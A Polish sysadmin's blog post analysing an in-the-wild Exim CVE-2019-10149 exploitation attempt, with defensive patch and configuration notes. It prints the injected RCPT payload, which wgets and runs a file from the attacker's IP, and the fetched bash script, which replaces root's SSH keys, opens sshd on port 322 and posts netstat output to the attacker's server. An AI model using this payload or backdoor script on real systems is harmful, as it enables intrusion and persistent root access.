31 March 2020

Atak na Exima (CVE-2019-10149) na żywo

Robiłem coś przy serwerze pocztowym, kiedy zauważyłem coś takiego:

2020-03-30 04:54:18 SMTP connection from [45.148.10.84]:45648 (TCP/IP connection count = 1)
2020-03-30 04:54:18 no host name found for IP address 45.148.10.84
2020-03-30 04:54:18 H=(service.com) [45.148.10.84]:45648 F=<support@service.com> rejected RCPT
    <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2045.148.10.84\x2fss\x20-Osxs\x3b
    chmod\x20\x2bx\x20sxs\x3b.\x2fsxs\x22}}@mojadomena.pl>: relay not permitted
2020-03-30 04:54:18 H=(service.com) [45.148.10.84]:45648 F=<support@service.com> rejected RCPT
    <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2045.148.10.84\x2fss\x20-Osxs\x3b
    chmod\x20\x2bx\x20sxs\x3b.\x2fsxs\x22}}@localhost>: relay not permitted

Jest to próba zdalnego wykonania polecenia związana z błędem w eximie (CVE-2019-10149), który został opisany tutaj, a obszerniej tutaj. Błąd jest znany od maja 2019 roku i dotyczy wersji exima od 4.87 do 4.91.

Wektor ataku

Atakujący próbuje wykonać polecenie

\x2Fbin\x2Fsh\t-c\t\x22wget\x2045.148.10.84\x2fss\x20-Osxs\x3bchmod\x20\x2bx\x20sxs\x3b.\x2fsxs\x22,

które po rozwinięciu, przepraszam za wyrażenie, "eskejpowanych" znaków zabronionych wygląda tak:

/bin/sh -c "wget 45.148.10.84/ss -Osxs; chmod +x sxs; ./sxs"

Exim miał pobrać z obcego serwera plik, nadać mu prawa do wykonywania i uruchomić. Pobrałem ten plik, aby zobaczyć jakie były plany.

#!/bin/bash
exists=$(grep -c "^jkl:" /etc/passwd)
if [ $exists -eq 0 ]; then
chattr -isa /root/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3N (ciąg dalszy klucza) root@' >/root/.ssh/authorized_keys
/usr/sbin/sshd -p 322
/sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/sbin/iptables-save >/dev/null 2>&1
/usr/sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/usr/sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/usr/sbin/iptables-save >/dev/null 2>&1
data2=`netstat -natp |grep sshd|base64`
wget -q --post-data "DATA=dGlua2QK&DATA2=$data2" 45.148.10.84/.z/p.php -O /dev/null
else
exit
fi

Skrypt najpierw sprawdza, czy w systemie istnieje już użytkownik jkl. Jeśli tak, to kończy pracę. Być może botnet, z którego szedł atak nie był skoordynowany i możliwa była sytuacja, w której dany serwer zostanie skutecznie zaatakowany więcej niż jeden raz.

Następnie zdejmowane są atrybuty immutable, append only i secure deletion pliku /root/.ssh/authorized_keys, aby umożliwić wpisanie tam klucza publicznego atakującego. Atakujący nadpisuje, a nie dopisuje do authorized_keys, więc jeśli administrator miał możliwość logowania się do systemu tylko kluczem, to od tego momentu już takiej możliwości nie ma.

Później skrypt uruchamia nową instancję sshd na porcie 322 i odblokowuje sobie ten port na linuksowym firewallu (iptables). Ciekawe, że dopsuje się też do łańcucha OUTPUT z --dport, a nie --sport. Albo atakujący planował łączyć się z portu 322 na port 322, albo coś pomylił.

W ostatnim kroku skrypt sprawdza, gdzie nasłuchują wszystkie instancje sshd i wynik netstata zakodowany base64 wpycha wgetem metodą POST do innego skryptu zainstalowanego na tym samym serwerze, z którego pobrał skrypt shellowy.

Tam zbiera informacje o przejętych z powodzeniem komputerach i pewnie rozpoczyna się drugi etap ataku, którego już nie miałem możliwości oglądać.

Security updates

Sprawdziłem przy okazji ChangeLog w pakietach dystrybucyjnych Ubuntu 16.04 LTS Xenial i 18.04 LTS Bionic oraz Debiana 10 Buster. W przypadku Bionica patch był w dystrybucji 4 czerwca 2019, czyli w ciągu kilku dni od opublikowania informacji o błędzie:

exim4 (4.90.1-1ubuntu1.2) bionic-security; urgency=medium

  * SECURITY UPDATE: remote command execution
    - debian/patches/CVE-2019-10149.patch: fix parsing logic in
      src/deliver.c.
    - CVE-2019-10149

 -- Marc Deslauriers <marc.deslauriers@ubuntu.com>  Tue, 04 Jun 2019 14:44:51 -0400

W Xenialu jest niepodatny exim 4.86, a w Debianie Busterze niepodatny exim 4.92.

Warto przyjrzeć się też konfiguracji exima. Ja na wszelki wypadek zabroniłem na poziomie ACL znaku + w local_parts, ale nie zawsze jest to możliwe. Niektórzy używają adresów z + do sprawniejszego filtorwania poczty.